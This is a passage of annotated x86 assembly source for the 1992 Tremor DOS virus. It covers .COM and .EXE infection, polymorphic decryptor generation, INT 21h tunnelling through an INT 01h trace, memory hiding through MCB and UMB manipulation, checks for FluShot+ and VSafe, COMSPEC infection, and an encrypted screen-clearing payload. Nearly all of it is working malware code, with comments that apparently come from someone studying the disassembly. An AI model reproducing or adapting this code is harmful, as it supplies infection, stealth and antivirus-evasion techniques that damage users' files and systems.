		NEG     AX
LOC_118:        MOV     DS:[0000h], AX
Ptr_Displ       =       WORD PTR $-2

		MOV     AX, DI
		MOV     Gooney, AX
		ADD     AX,6
Displ           =       WORD PTR $-2
		SUB     AX,0CDH

		CALL    Comp_Host_COM
		JNZ     LOC_119

		ADD     AX,103H
		JMP     LOC_120
LOC_119:
		ADD     AX,9D0H
Screwy7         =       WORD PTR $-2
LOC_120:        MOV     DS:[0000h], AX
Delta_Offset    =       WORD PTR $-2

                MOV     AL, 0E9h                ; JMP 16-bit.
		STOSB

                MOV     AX, OFFSET Start - 2
		SUB     AX, DI
		STOSW

		POP     SI
		CALL    Decrypt_Header

		MOV     AL,2
		CALL    Seek_Border

		CALL    $+7B1H
		JNC     LOC_122

LOC_121:        POP     AX
		POP     AX
		JMP     Del_Inf_Date

LOC_122:        CMP     AX, CX
		JNE     LOC_121

		CALL    Seek_BOF
		CALL    Decrypt_Header
		CALL    Comp_Host_COM
		JNZ     LOC_123

		POP     AX
		POP     AX

		MOV     [SI.Displacement], AX

		JMP     LOC_124


LOC_123:
		POP     AX
		PUSH    AX

		SUB     AX, 62h
New_Virus_CS    =       WORD PTR $-2
		MOV     [SI.Program_CS], AX

		POP     AX

		SUB     AX, 9Dh
New_Virus_SS    =       WORD PTR $-2
		MOV     [SI.Program_SS], AX

		POP     AX
		PUSH    AX

		ADD     AX, 620H
New_Virus_IP    =       WORD PTR $-2
		MOV     [SI.Program_IP], AX

		POP     AX

		ADD     AX, 9D0H
New_Virus_SP    =       WORD PTR $-2
		ADD     AX, 1080H
		MOV     [SI.Program_SP], AX

		MOV     AX, [SI.File_Mod_512]
		ADD     AX, Virus_Size
		CWD

		MOV     BX, 512
		DIV     BX

		ADD     [SI.File_512_Pages], AX
		MOV     [SI.File_Mod_512], DX

LOC_124:        JMP     Write_Header



Check_Inf_Date:
		CALL    Get_Encr_Header

Chk_Inf_Date:   MOV     AL, BYTE PTR CS:File_Date+1
		MOV     AH, Century

		CMP     AL, AH

		RETN


Set_Inf_Date:
		ADD     AL, AH
		MOV     BYTE PTR CS:File_Date+1, AL

		RETN

Comp_Host_COM:
		CMP     CS:Host_Type, COM_Type

		RETN


Set_Host_Type:
		MOV     CS:Host_Type, AL

		RETN


; BX byte
Shift_Byte:
		MOV     CL, 4
		AND     AX, 0000111111110000b
		MOV     BX, AX
		SHR     BX, CL                  ; BX DIV 16

		RETN


;
;
; BP = Random.
Gen_Load_Reg:
		PUSH    AX

		MOV     AH, BL
		AND     AH, 3

		CMP     AL, AH                  ; Add a garbage instruction?
		JNE     Skip_Garbage

		TEST    DL, 00000001b           ; Use segment override?
		JZ      Use_AND

		MOV     AL, 85h                 ; TEST  AX, AX
		JMP     Store_Oper_AX

Use_AND:        MOV     AL, 23h                 ; AND  AX, AX

		TEST    CL,2
		JZ      Store_Oper_AX

		MOV     AL, 0Bh                 ; OR  AX, AX

Store_Oper_AX:  MOV     AH, 0C0h                ; Operand AX, AX
		STOSB

		MOV     AL, BL                  ; Get random.

		AND     AL, 07h                 ; 0 - 7.

		ADD     AL, AH
		STOSB

Skip_Garbage:   POP     AX

		CMP     AL, 03h
		JE      LOC_RET_136

		CMP     AL, 02h
		JE      LOC_133

		CMP     AL, 01h
		JE      Load_Ptr_Reg

		CALL    Comp_Host_COM
		JZ      Use_MOV_DX

		CMP     BL, 06h
		JA      Use_MOV_DX

Use_LEA:        MOV     AL, 8Dh                 ; LEA reg16, imm16
		STOSB

		MOV     AL, 1Eh                 ; BX

		TEST    CL, 00000011b
		JZ      Store_Opr_LEA

		MOV     AL, 16h                 ; DX
		JMP     Store_Opr_LEA

Use_MOV_DX:     MOV     AL, 0BBh                ; MOV  BX,

		TEST    CL, 00000011b
		JZ      Store_Opr_LEA

		DEC     AX                      ; MOV  DX,
Store_Opr_LEA:  STOSB

		MOV     AX, BP                  ; Random value.
		MOV     Random_Key, AX
		STOSW

		RETN

Load_Ptr_Reg:   CALL    Comp_Host_COM
		JE      LOC_131

		CMP     BL, 0FCh
		JB      LOC_131

		MOV     AL, 8Dh                 ; LEA
		STOSB

		MOV     AL, 36h

		TEST    DH,2
		JZ      LOC_132

		MOV     AL, 3Eh
		JMP     LOC_132

LOC_131:        MOV     AL, 0BEh                ; MOV  SI,

		TEST    DH, 2
		JZ      LOC_132

		INC     AX                      ; MOV  DI,
LOC_132:        STOSB

		MOV     Delta_Offset, DI
		STOSW

		RETN

LOC_133:        CALL    Comp_Host_COM
		JE      LOC_134

		TEST    BH,5
		JZ      LOC_134

		MOV     AL, 8Dh                 ; LEA
		STOSB

		MOV     AL, 0Eh                 ; CX

		TEST    DL,10H
		JZ      LOC_135

		MOV     AL, 2Eh                 ; BP
		JMP     LOC_135

LOC_134:        MOV     AL, 0B9h                ; DI, BX+DI+0000h

		TEST    DL, 00010000b
		JZ      LOC_135

		MOV     AL, 0BDh                ; DI, DI+0000h
LOC_135:        STOSB

		MOV     Ptr_Displ, DI
		STOSW

LOC_RET_136:    RETN



Gen_JMP:
		TEST    CH, 00000011b
		JNZ     Exit_Gen_JMP

		XOR     AX, AX
		MOV     AL, BL
		AND     AL, 7
		ADD     AL, 78h                 ; JS/JNS/JPE/JPO/
		STOSW                           ; JL/JGE/JLE/JG ?

Exit_Gen_JMP:   RETN



SUB_33:
		LODSB

		TEST    CH,2
		JZ      LOC_140

		CMP     AL,1
		JNE     LOC_RET_139

		MOV     AL,0FCH

		TEST    DH,80H
		JZ      LOC_138

		DEC     AX
LOC_138:        STOSB

LOC_RET_139:    RETN


LOC_140:
		CMP     AL,3
		JNE     LOC_RET_139

		MOV     AL, 90h

		TEST    DH, 80h
		JZ      LOC_141

		MOV     AL, 2Eh
LOC_141:        STOSB

		RETN


Find_Candidate:

		PUSH    DX
		PUSH    DS
		PUSH    ES
		PUSH    BX

		MOV     AH, 2Fh                 ; Get DTA-address.
		CALL    OldInt21h

		PUSH    BX
		PUSH    ES

		PUSH    DS
		PUSH    DX

		MOV     AH, 1Ah                 ; Set our new DTA-address.
		PUSH    CS
		POP     DS
		MOV     DX, OFFSET New_DTA
		CALL    OldInt21h

		POP     DX
		POP     DS

		MOV     CX, 00100111b
		MOV     AX, 4E00h
		CALL    OldInt21h

		POP     DS
		POP     DX

		PUSHF

                MOV     AL, BYTE PTR CS:New_DTA.Handle_Date+1

		MOV     AH, 1Ah                 ; Restore DTA-address.
		CALL    OldInt21h

		POPF

		POP     BX
		POP     ES
		POP     DS
		POP     DX

		RETN


Init_Inf_Open:
		CALL    Check_FluShot           ; Grandpa is in memory?
		JZ      Bad_File

		CALL    Find_Candidate          ; File not present?
		JC      Bad_File

		CMP     AL, Century             ; No infected datestamp?
		JB      Bad_File

		CALL    Init_Open
		JNC     LOC_143

		CMP     AL, 3
		JA      LOC_146

Bad_File:       STC

		RETN

LOC_143:
		CALL    Chk_Inf_Date
		JB      LOC_146

		CALL    Check_Inf_Date
		JB      LOC_144

		NEG     AH
		CALL    Set_Inf_Date

LOC_144:        CALL    Check_Infected
		JNZ     LOC_146

		PUSH    DS
		PUSH    ES

		PUSH    CS
		POP     ES

		MOV     SI, BP
		MOV     DI, 2
		CALL    Get_Marker

		CMP     AL, 0FFh
		JNE     LOC_145

		MOV     AH, 60h
		CALL    OldInt21h

		MOV     ES:[DI-2], BX

LOC_145:        POP     ES
		POP     DS

		CALL    Delete_Virus

LOC_146:        JMP     LOC_75


Delete_Virus:
		PUSH    CS
		POP     DS

		CALL    Write_Header

		MOV     DX, Buffer.Host_Size    ; Go to the end of our host.
		MOV     CX, Buffer.Host_Size+2
		MOV     AL, 00h
		CALL    File_Seek

		XOR     CX, CX                  ; Cut-off virusbody by
		JMP     Write_File              ; writing the <EOF>-marker.


; Returns ZF if the file is infected.
Check_Infected:
		CALL    Decrypt_Header

		; Already infected?

		CMP     CS:[SI.Undocumented], 0DEADh
		JNE     Exit_Chk_Candidate

		CMP     CS:[SI.Jump], 0E9h      ; It's a .COM-file?
		JE      Exit_Chk_Candidate

		CMP     CS:[SI.EXE_Mark], 'ZM'  ; It's a .EXE-file?

Exit_Chk_Candidate:

		RETN


Decrypt_Header:
		MOV     SI, OFFSET Buffer

		PUSH    SI

		MOV     AX, CS:[SI.Unused]      ; Decryption-key.

Decr_W_Header:  XOR     CS:[SI], AX             ; Decrypt word in header.
		ADD     AX, 913Fh               ; Sliding key.

		INC     SI                      ; Next word.
		INC     SI

		CMP     SI, OFFSET Buffer + 30  ; First 28 bytes decrypted?
		JNE     Decr_W_Header

		POP     SI

		RETN


Set_Marker:
		MOV     CS:Busy, 0FFh

		RETN

Get_Marker:
		MOV     AL, CS:Busy

		RETN


Hide_Block:
		MOV     DX, Virus_Size_Mem

Adjust_Block:
		RETN
Switch          =       BYTE PTR $-1            ; RETN when installed in UMB.

		MOV     CS:Opcode_4, 0

		MOV     AH, 52h                 ; Get list of lists.
		CALL    OldInt21h

		CALL    Get_First_MCB

Find_Last_MCB:  CMP     [DI.MCB_Type], 'Z'      ; Last block reached?
		JE      Found_Last_MCB

		PUSH    DS                      ; ES = MCB.
		POP     ES

		CALL    Get_Next_MCB

		JMP     Find_Last_MCB

Found_Last_MCB: ADD     [DI.MCB_Size_Mem], DX

		RETN


;
;
Get_Next_MCB:

		MOV     AX, DS

		INC     AX
		ADD     AX, DS:[DI.MCB_Size_Mem]
		MOV     DS, AX

		RETN


;
; Returns:    DI = Offset in active buffer.
;             DS = First MCB.
;          ES:BX = Table.
;
Get_List_Lists:
		MOV     AH, 52h                 ; Get list of lists.
		INT     21h                     ; *UNDOCUMENTED*

Get_First_MCB:  LDS     DI, DWORD PTR ES:[BX-4]

		RETN



Check_File_Pos:
		CMP     DX, CS:Buffer.Host_Size+2
		JNE     Exit_Chk_Pos

		CMP     BX, CS:Buffer.Host_Size

Exit_Chk_Pos:   RETN



Check_FluShot:
		MOV     BYTE PTR CS:XMS_Driver, 1
		MOV     AX, 0FF0Fh

		PUSHF
		CALL    DWORD PTR CS:Our_Int21h

		CMP     AX, 0101h               ; FluShot+ installed?
		MOV     BYTE PTR CS:XMS_Driver, 0

		RETN


Call_VSafe:
		MOV     AX, 0FA02h              ; Returns flags and sets new.
		MOV     DX, 5945h
		INT     13h

		RETN



; Encrypted with a XOR 9Ch:

;     -=> TREMOR was done by NEUROBASHER / May-June'92, Germany <=-

Payload_Msg1:   DB      0B1h, 0A1h, 0A2h, 0BCh, 0C8h, 065h, 0CEh, 065h, 0D9h
		DB      065h, 0D1h, 065h, 0D3h, 065h, 0CEh, 0BCh, 0EBh, 0FDh
		DB      0EFh, 0BCh, 0F8h, 0F3h, 0F2h, 0F9h, 0BCh, 0FEh, 0E5h
		DB      0BCh, 0D2h, 0D9h, 0C9h, 0CEh, 0D3h, 0DEh, 0DDh, 0CFh
		DB      0D4h, 0D9h, 0CEh, 0BCh, 0B3h, 0BCh, 0D1h, 0FDh, 0E5h
		DB      0B1h, 0D6h, 0E9h, 0F2h, 0F9h, 0BBh, 0A5h, 0AEh, 0B0h
		DB      0BCh, 0DBh, 0F9h, 0EEh, 0F1h, 0FDh, 0F2h, 0E5h, 0BCh
		DB      0A0h, 0A1h, 0B1h, 09Ch


;                  MOMENTOFTERRORISTHEBEGINNINGOFLIFE

Payload_Msg2    DB      058h, 0D1h, 0D3h, 0D1h, 0D9h, 0D2h, 0C8h, 058h, 0D3h
		DB      0DAh, 058h, 0C8h, 0D9h, 0CEh, 0CEh, 0D3h, 0CEh, 058h
		DB      0D5h, 0CFh, 058h, 0C8h, 0D4h, 0D9h, 058h, 0DEh, 0D9h
		DB      0DBh, 0D5h, 0D2h, 0D2h, 0D5h, 0D2h, 0DBh, 058h, 0D3h
		DB      0DAh, 058h, 0D0h, 0D5h, 0DAh, 0D9h, 058h, 09Ch

		PUSH    AX

		IN      AL, 60h

		CMP     AL, 01010011b
		JNE     End_f1

		PUSH    DS

		MOV     AX, 40h                 ; DS = BIOS-datasegment.
		MOV     DS, AX

		MOV     AL, DS:[0017h]          ; Keyboard statusbyte.

		TEST    AL, 00001100b           ; [Ctrl] + [Alt] pressed?
		JE      End_Fuck                ; Else exit routine.

		PUSH    BX
		PUSH    CX
		PUSH    DX
		PUSH    SI

		MOV     AX, 0700h               ; A bit weird way to clear
		XOR     BX, BX                  ; the screen.
		MOV     CX, BX
		MOV     DX, 187Fh               ; *** What's this for?
		INT     10h

		MOV     AH, 02h                 ; Center cursor.
		MOV     DX, 0907h
		INT     10h

		MOV     SI, OFFSET Payload_Msg1 ; Decrypt and display the
		CALL    Display_Encr_Text       ; 1st encrypted message.

		MOV     DX, 0F13h               ; Center cursor just below
		INT     10h                     ; previous message.

		MOV     SI, OFFSET Payload_Msg2 ; Decrypt and display the
		CALL    Display_Encr_Text       ; 2nd encrypted message.

		MOV     CX, 150

Waste_Time_2:   PUSH    CX

		MOV     CX, 0FFFFh

Waste_Time_3:   JMP     $+2
		LOOP    Waste_Time_3

		POP     CX

		LOOP    Waste_Time_2

		POP     SI
		POP     DX
		POP     CX
		POP     BX

End_Fuck:       POP     DS
End_f1:         POP     AX

		CLI
		JMP     DWORD PTR CS:Int15h


Display_Encr_Text:

		MOV     AL, CS:[SI]             ; Get encrypted character.
		XOR     AL, 9Ch                 ; Decrypt character.

		CMP     AL, 00h                 ; *** Redundant instruction.
		JZ      Exit_Dislay_E

		INT     29h                     ; Fast putchar.

		INC     SI                      ; Repeat loop, (weird stuph).
		JNZ     Display_Encr_Text

Exit_Dislay_E:  RETN


Restore_All:
		CLI
		CALL    Restore_Ints

Restore_Regs:   MOV     AX, 98D3h
Old_DS          =       WORD PTR $-2
		MOV     DS, AX

		MOV     AX, 3ADh
Old_ES          =       WORD PTR $-2
		MOV     ES, AX

		MOV     AX, 4B00h
Old_AX          =       WORD PTR $-2
		MOV     BX, 241H
Old_BX          =       WORD PTR $-2
		MOV     CX, 209H
Old_CX          =       WORD PTR $-2
		MOV     DX, 41A8H
Old_DX          =       WORD PTR $-2
		MOV     SI, 0E4H
Old_SI          =       WORD PTR $-2
		MOV     DI, 0000h
Old_DI          =       WORD PTR $-2
		MOV     BP, 696AH
Old_BP          =       WORD PTR $-2
		STI

		RETN


Mem_Mark_2      DW      0


Init_Res_Check:
		XOR     BX, BX                  ; DS=0000h.
		MOV     DS, BX

		LDS     SI, DS:[BX+01h * 4]     ; Get entrypoint INT 01h.

		CMP     BYTE PTR DS:[SI], 0CFh  ; IRET (thus no debugger) ?
		JNE     LOC_157

		CMP     AH, 30h                 ; Get DOS-version?
		JNE     Exit_Res_Check

		; If this call was made by the virus,
		; CX/DX should contain the current date.

		PUSH    CX
		PUSH    DX

		MOV     AH, 2Ah                 ; Get system-date.
		CALL    OldInt21h

		POP     BX                      ; Month/day.
		POP     BP                      ; Year.

		MOV     AX, OFFSET Mem_Mark_2

		CMP     BP, CX                  ; CX is correct? ie. make
		JNE     Store_Mem_Mark          ; sure virus made the call.

		CMP     BX, DX                  ; DX is correct?
		JNE     Store_Mem_Mark

LOC_157:        MOV     AX, OFFSET Mem_Mark_1
Store_Mem_Mark: MOV     CS:Mem_Marker_Offs, AX
Exit_Res_Check: JMP     Restore_Regs


;============================================================================
;                             INT 01h HANDLER
;============================================================================
NewInt01h:
		PUSH    AX                      ; Save registers.
		PUSH    BX
		PUSH    SI

		CALL    Entry2                  ; Get current IP.
Entry2:         POP     SI

		MOV     BX, SP                  ; *** BP would save bytes.
		MOV     AX, SS:[BX+8]

		CMP     AX, 110h                ; We're in the DOS-kernel?
DOS_Segment     =       WORD PTR $-2
		JA      Save_Last_CSIP

		MOV     CS:[SI+((Traced_Int+2)-Entry2)], AX

		MOV     AX, SS:[BX+6]
		MOV     CS:[SI+(Traced_Int-Entry2)], AX

		; Clear the TF in the stack.

		AND     BYTE PTR SS:[BX+0Bh], NOT 00000001b

		JMP     Exit_Int01h

Save_Last_CSIP: PUSH    CS                      ; Get our CS.
		POP     AX

		CMP     AX, SS:[BX+8]           ; Skip our own segment.
		JE      Exit_Int01h

		MOV     AX, SS:[BX+8]
		MOV     CS:[SI+((Last_Tunneled+2)-Entry2)], AX

		MOV     AX, SS:[BX+6]
		MOV     CS:[SI+(Last_Tunneled-Entry2)], AX

Exit_Int01h:    POP     SI
		POP     BX
		POP     AX

		IRET




Name_Table      DW      'HC'    ; CHKDSK.EXE (MS-DOS).
		DW      'EM'    ; MEM.EXE (MS-DOS).
		DW      'IM'
Traced_Int      =       WORD PTR $-4
		DW      '2F'
		DW      '-F'    ; F-PROT.EXE (Datafellows).
		DW      'YS'    ; SYSINFO.EXE (Norton Utilities).
		DW      'IS'    ; SI.EXE (Norton Utilities).
Last_Tunneled   =       WORD PTR $-4
		DW      'MP'
		DW      'JR'    ; ARJ.EXE
		DW      'ZK'    ; PKZIP.EXE (PK-Ware).
		DW      'AH'    ; LHA.EXE

File_Spec       DB      '\*.*', 0

XMS_Driver      DW      0110h, 0B001h


	; === ENTRYPOINT AFTER POLYMORPHIC DECRYPTION ===
START:

		CALL    Entry1                  ; Get IP.
Entry1:         POP     SI

		MOV     AH, 2Ah                 ; Get system date.
		MOV     CS:[SI+(Host_PSP-Entry1)], ES
		INT     21h

		MOV     AL, 72h                 ; JB opcode.

		CMP     DX, 0B06h               ; 4 Months have past since
Trg_Month_Day   =       WORD PTR $-2            ; the current host was
		JB      Set_JMP                 ; infected?

		CMP     CX, 1998
Trg_Year        =       WORD PTR $-2
		JAE     Set_Opcode1

Set_JMP:        MOV     AL, 0EBh                ; JMP SHORT opcode.

Set_Opcode1:    MOV     CS:[SI+(Opcode_1-Entry1)], AL

		MOV     AH, 30h                 ; Get DOS-version.
		CLD
		INT     21h

		XCHG    AL, AH                  ; Set human notation.

		CMP     AX, 0300h + 29          ; DOS-version atleast 3.30 ?
		JA      DOS_Version_OK

JMP_Exec_Host:  JMP     Exec_Host

DOS_Version_OK: MOV     AX, 0F1E9h
Residency_Check =       WORD PTR $-2
		INT     21h

		CMP     AX, 0CADEh
Mem_Mark_1      =       WORD PTR $-2
		JE      JMP_Exec_Host

		XOR     DI, DI

		MOV     AX, 40h                 ; DS = BIOS-datasegment.
		MOV     DS, AX

		MOV     BP, [DI+13h]            ; Total DOS-memory in kB.

		MOV     CL, 6                   ; Calculate start-segment of
		SHL     BP, CL                  ; possible UMB-chain.

		MOV     AH, 62h                 ; Get our PSP.
		INT     21h

		MOV     DS, BX                  ; DS = our PSP.

		PUSH    [DI+2Ch]                ; Program setting variables.
		PUSH    DS                      ; PSP.

		MOV     CL, 90h                 ; NOP opcode.

		MOV     AX, 5800h               ; Get allocation strategy.
		INT     21h

		XOR     AH, AH                  ; *** AH is already zero.
		PUSH    AX                      ; Save strategy on stack.

		MOV     AX, 5801h               ; Set allocation strategy.
		MOV     BX, 0080h               ; First fit, start with UMBs.
		INT     21h

		MOV     AX, 5802h               ; Get UMB link status.
		INT     21h

		XOR     AH, AH                  ; Save status on stack.
		PUSH    AX

		MOV     AX, 5803h               ; Set UMB link status.
		MOV     BX, 0001h               ; Use UMBs.
		INT     21h
		JC      Try_XMS_Alloc           ; Abort when no UMBs present.

		MOV     AH, 48h                 ; Get amount of free memory
		MOV     BX, 0FFFFh              ; in largest available block.
		INT     21h

		MOV     AH, 48h                 ; Allocate all memory in
		INT     21h                     ; largest available block.

		MOV     ES, AX                  ; ES = allocated block.

		CMP     AX, BP                  ; Allocated memory is in UMB?
		JNB     In_UMB_Memory

		DEC     AX                      ; ES = MCB of allocated
		MOV     ES, AX                  ; block.

		MOV     ES:[DI.MCB_PSP], DI     ; Mark block as available.

Try_XMS_Alloc:  MOV     AX, 4300h               ; Get XMS-driver status.
		INT     2Fh

		CMP     AL, 80h                 ; XMS-driver installed?
		JNE     Restore_Mem_Status

		MOV     AX, 4310h               ; Get XMS-driver address.
		INT     2Fh

		PUSH    CS
		POP     DS

		; Save address XMS-driver.

		MOV     [SI-(Entry1-XMS_Driver)], BX
		MOV     [SI-(Entry1-(XMS_Driver+2))], ES

		MOV     AH, 10h                 ; Get largest available UMB.
		MOV     DX, 0FFFFh
		CALL    DWORD PTR [SI-(Entry1-XMS_Driver)]

		CMP     BL, 0B0h                ; Only smaller UMB available?
		JNE     Restore_Mem_Status

		MOV     AH, 10h                 ; Allocate largest UMB avail.
		CALL    DWORD PTR [SI-(Entry1-XMS_Driver)]

		DEC     AX                      ; Abort when error occurred.
		JNZ     Restore_Mem_Status

		MOV     ES, BX                  ; ES = allocated UMB.

In_UMB_Memory:  MOV     CL, 0C3h                ; RETN opcode.

		MOV     AX, ES                  ; DS = MCB of our UMB.
		DEC     AX
		MOV     DS, AX

		MOV     [DI.MCB_Type], 'Z'      ; Mark block last in chain.
		MOV     [DI.MCB_PSP], DI        ; Mark block as available.

		; Resize last block, ie. create a hole for the virus.

		SUB     [DI.MCB_Size_Mem], Virus_Size_Mem
		CALL    Get_Next_MCB

		; Save our segment.

		MOV     CS:[SI+(Our_Segment-Entry1)], AX

		INC     AX                      ; ES = our allocated block.
		MOV     ES, AX

Restore_Mem_Status:

		POP     BX                      ; Restore UMB link state.
		MOV     AX, 5803h
		INT     21h

		POP     BX                      ; Restore allocation
		MOV     AX, 5801h               ; strategy.
		INT     21h

		POP     DS                      ; PSP of our host.

		MOV     CS:[SI-(Entry1-Switch)], CL

		CMP     CL, 90h                 ; Already installed?
		JNE     Copy_Virus_Up           ; else use conventional
						; method.
		PUSH    DS
		POP     ES

		MOV     BX, 0FFFFh              ; Get total amount of memory
		MOV     AH, 4Ah                 ; in current block.
		INT     21h

		MOV     AX, Virus_Size_Mem
		SUB     [DI+2], AX              ; Subtract from PSP TOM.

		SUB     BX, AX                  ; Create a hole for the
		MOV     AH, 4Ah                 ; virus in the current block.
		INT     21h

		MOV     AX, DS                  ; Get segment of the hole
		INC     AX                      ; we just created in ES.
		ADD     AX, BX
		MOV     ES, AX

Copy_Virus_Up:  PUSH    SI

		PUSH    CS
		POP     DS

		; Copy virus to the hole (allocated memory).

		SUB     SI, (Entry1-Virus_Begin)
		MOV     CX, (Virus_End-Virus_Begin)
		MOV     DI, OFFSET Virus_Begin
		REP     MOVSB

		ADD     DI, 32
		SUB     SI, (End_Decryptor-Decryptor)
		MOV     CX, (End_Decryptor-Decryptor)
		REP     MOVSB

		POP     SI

		PUSH    ES

		MOV     AX, 3521h               ; Get address INT 21h.
		INT     21h

		POP     DS

		CWD                             ; DX=0000h.
		MOV     DI, OFFSET Mem_Mark_2
		MOV     [DI], DX
		MOV     Mem_Marker_Offs, DI     ; Dummy-value.
		MOV     DI, OFFSET root

		; Double save address INT 21h.

		MOV     [DI+((Old_Int21h+2)-Root)], ES
		MOV     [DI+(Old_Int21h-Root)], BX
		MOV     [DI+((i21h+2)-Root)], ES
		MOV     [DI+(i21h-Root)], BX

		MOV     AL, 15h                 ; Get address INT 15h.
		INT     21h

		MOV     [DI+(Int15h-Root)], BX
		MOV     [DI+((Int15h+2)-Root)], ES

		CALL    Set_Marker

		XOR     CX, CX

		CALL    Get_List_Lists
		MOV     CS:[SI-(Entry1-DOS_Segment)], ES

LOC_171:        OR      CX, CX
		JNZ     LOC_172

		MOV     AX, DS                  ; First MCB.
		INC     AX                      ; Get first segment.

		CMP     AX, DS:[DI.MCB_PSP]
		JNE     LOC_172

		MOV     CX, AX
		PUSH    DS

LOC_172:        CMP     BYTE PTR CS:[SI-(Entry1-Switch)], 90h
		JE      LOC_173

		CMP     [DI.MCB_Type], 'Z'      ; Last block?
		JNE     LOC_174

		MOV     AX, 0DEF4h
Our_Segment     =       WORD PTR $-2

		JMP     LOC_176

LOC_173:        CMP     [DI+DATA_83E],0C402H  ;*******
		JNE     LOC_174

                CMP     DS:[DI+DATA_83E+2],0F24H
		JE      LOC_175

LOC_174:        PUSH    DS
		POP     ES

		CALL    Get_Next_MCB

		JMP     LOC_171

LOC_175:        MOV     ES:[DI.MCB_Type], 'Z'   ; Mark as last in chain.
		MOV     [DI.MCB_PSP], CX

LOC_176:        POP     CX                      ; First MCB.
		INC     CX                      ; AX = first block.

		INC     AX

		MOV     DS, CX
		MOV     CS:[SI+(Our_Seg-Entry1)], CX
		MOV     CS:[SI+(Shit4-Entry1)], CX
		MOV     CS:[SI+(Shit1-Entry1)], CX
		CALL    Set_JMPF

		MOV     DI, OFFSET Klos1
		CALL    Set_JMP_Seg

		MOV     [DI+6], 0BBDH
		PUSH    AX

		PUSH    CS
		POP     DS

		MOV     WORD PTR [SI-(Entry1-(Last_Tunneled+2))], 0

		PUSH    AX

		MOV     AX, 3501h               ; Get address INT 01h.
		INT     21h

		MOV     DI, BX                  ;BP:DI = address INT 01h.
		MOV     BP, ES

		MOV     AH, 25h                 ; Hook INT 01h.
		LEA     DX, [SI-(Entry1-NewInt01h)]
		INT     21h

		POP     ES

		PUSHF                           ; Set trapflag.
		POP     AX
		OR      AH, 00000001b
		PUSH    AX
		POPF

		MOV     AH, 30h                 ; Get DOS-version.

		PUSHF                           ; Trace the S.O.B.
		CALL    DWORD PTR ES:Old_Int21h

		MOV     AX, 2501h               ; Restore original INT 01h.
		MOV     DX, DI
		MOV     DS, BP
		INT     21h

		PUSH    CS
		POP     DS

		PUSH    SI

;*              SUB     SI, (Entry1-Name_Table)
		DB       83H,0C6H,0E0H
		MOV     DI, OFFSET Old_Int21h
		MOVSW
		MOVSW

		POP     SI

		MOV     AX, [SI-(Entry1-(Last_Tunneled+2))]

		OR      AX, AX
		JNZ     LOC_178

LOC_177:        MOV     AX, 0C2AH               ; Hook INT 21h.
Our_Seg         =       WORD PTR $-2
		MOV     DS, AX
		MOV     DX, OFFSET NewInt21h
		MOV     AX, 2521h
		INT     21h

		JMP     LOC_183

LOC_178:        XOR     BX, BX
		DEC     AX
		CALL    SUB_55
		JZ      LOC_179

		SUB     AX, 10h
		CALL    SUB_55
		JNZ     LOC_177

LOC_179:        CLI
		MOV     BP, DS

LOCLOOP_180:    INC     BP
		MOV     DS, BP
		XOR     BX, BX

LOC_181:        MOV     AX, CS:[SI-(Entry1-Traced_Int)]

		CMP     AX, [BX]
		JNE     LOC_182

		MOV     AX, CS:[SI-(Entry1-(Traced_Int+2))]

		CMP     AX, [BX+2]
		JNE     LOC_182

		MOV     WORD PTR [BX],5
		MOV     WORD PTR [BX+2], 0C2AH
Shit4           =       WORD PTR $-2

LOC_182:        INC     BX

		CMP     BL,10H
		JNE     LOC_181

		LOOP    LOCLOOP_180

		STI

LOC_183:        POP     ES

		PUSH    CS
		POP     DS

		MOV     AH, 1Ah                 ; Set our new DTA.
		LEA     DX, [SI+(Buffer-Entry1)]
		MOV     BX, DX
		INT     21h

		MOV     AH, 4Eh                 ; Get volume-label.
		MOV     CX, 00001000b
		LEA     DX, [SI-(Entry1-File_Spec)]
		INT     21h

		MOV     AX, [BX+16h]            ; Time of creation.
		MOV     CX, [BX+18h]            ; Date of creation.

		CMP     AX, 6EB9h
Volume_Time     =       WORD PTR $-2
		JNE     LOC_184

		CMP     CX, 24A1h
Volume_Date     =       WORD PTR $-2
		JE      Save_Vol_Info

LOC_184:        MOV     ES:Opcode_1, 0EBh       ; JMP SHORT opcode.

Save_Vol_Info:  MOV     ES:Volume_Time, AX      ; Save data of this system.
		MOV     ES:Volume_Date, CX

		PUSH    ES
		POP     DS

		CMP     Opcode_1, 0EBh          ; JMP SHORT opcode.
		JE      Infect_ComSpec

		MOV     BX, 0C2AH
Shit1           =       WORD PTR $-2
		MOV     DS, BX

		MOV     AX, 2515h               ; Hook INT 15h.
		MOV     DX, OFFSET NewInt15h
		INT     21h

Infect_ComSpec: POP     DS

		XOR     BX, BX

Find_ComSpec:   CMP     [BX], 'OC'              ; CO(MSPEC) ?
		JNE     Go_Next_Offs

		CMP     [BX+6], '=C'            ; (COMSPE)C= ?
		JE      ComSpec_Found

Go_Next_Offs:   INC     BX                      ; Next offset in settings.

		CMP     BH, 8                   ; Don't search too long.
		JNE     Find_ComSpec

		JMP     Exec_Host

ComSpec_Found:  LEA     DX, [BX+8]              ; Path command-interpreter,
		MOV     AX, 4300h               ; And infect it.
		MOV     BX, 0FACEh
		INT     21h

Exec_Host:      CALL    Entry3                  ; Get IP.
Entry3:         POP     SI

	; Fill most of non-resident copy of virus with zeroes.

		XOR     AX, AX
		LEA     DI, [SI-(Entry3-Virus_Begin)]
		MOV     CX, (Clear_Copy-Virus_Begin) / 2
		PUSH    CS
		POP     ES
Clear_Copy:     REP     STOSW

		ADD     DI, 4DH
		MOV     CX, 5EH
		REP     STOSB

		MOV     BX, 0A85h               ; Restore original DS.
Host_PSP        =       WORD PTR $-2
		MOV     DS, BX

		PUSH    DS                      ; Restore original ES.
		POP     ES

		MOV     DX, 80h                 ; Restore standard DTA.
		MOV     AH, 1Ah
		INT     21h

		MOV     AL, EXE_Type
Host_Type       =       BYTE PTR $-1

		OR      AL, AL                  ; Host is a .EXE-file?
		JZ      Run_Host_EXE

Run_Host_COM:   MOV     DS:[100h+1], 16ADh      ; Restore word at offset 1
COM_Host_Word   =       WORD PTR $-2            ; of .COM-file we changed.

		PUSH    CS
		JMP     Push_Host_IP

Run_Host_EXE:   CLI
		MOV     AX, CS                  ; Add SS of our host (NEG).
		SUB     AX, 0000h
Host_SS         =       WORD PTR $-2
		MOV     SS, AX                  ; Restore original stack.
		MOV     SP, 4000h
Host_SP         =       WORD PTR $-2
		STI

		MOV     AX, CS                  ; Add CS of our host (NEG).
		SUB     AX, 0000h
Host_CS         =       WORD PTR $-2
		PUSH    AX

Push_Host_IP:   MOV     AX, OFFSET Carrier
Host_IP         =       WORD PTR $-2
		PUSH    AX

		STI

		XOR     AX, AX                  ; Clear registers.
		MOV     BX, AX
		MOV     CX, AX
		CWD
		MOV     SI, AX
		MOV     DI, AX
		MOV     BP, AX

